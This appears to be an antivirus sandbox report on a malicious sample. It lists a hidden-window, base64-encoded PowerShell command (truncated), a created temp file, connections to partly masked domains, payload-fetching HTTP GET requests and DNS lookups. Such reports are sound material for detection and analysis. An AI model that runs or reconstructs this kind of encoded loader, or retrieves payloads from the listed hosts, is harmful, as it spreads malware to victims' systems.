Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABaADgANAB2AHUAZQBkAD0AWwBjAGgAYQByAF0ANAAyADsAJABFADgAMgAxADQAYgB2AD0AKAAoACcATgBnAG8AJwArACcAMwAnACkAKwAnAG4AJwArACcAbAB2ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQ...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1552
Modifies file system
Creates the following files
- %TEMP%\893230.cvr
Network activity
Connects to
- 'ya###abdal.com':80
- 'st####nature.com':443
- 'yo###.vkcsites.org':80
- 'sh###del.com':80
- 'sh###del.com':443
TCP
HTTP GET requests
- http://ya###abdal.com/textnow-recover/HGRRD/
- http://yo###.vkcsites.org/wp-content/1/
- http://sh###del.com/wp-content/LMd4I/
Other
- 'sh###del.com':443
UDP
- DNS ASK ya###abdal.com
- DNS ASK st####nature.com
- DNS ASK ti########nandezcreationmetal.com
- DNS ASK yo###.vkcsites.org
- DNS ASK sh###del.com
- DNS ASK ea###acks.com
- DNS ASK bu#####iemoderne.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABaADgANAB2AHUAZQBkAD0AWwBjAGgAYQByAF0ANAAyADsAJABFADgAMgAxADQAYgB2AD0AKAAoACcATgBnAG8AJwArACcAMwAnACkAKwAnAG4AJwArACcAbAB2ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQ...' (with hidden window)
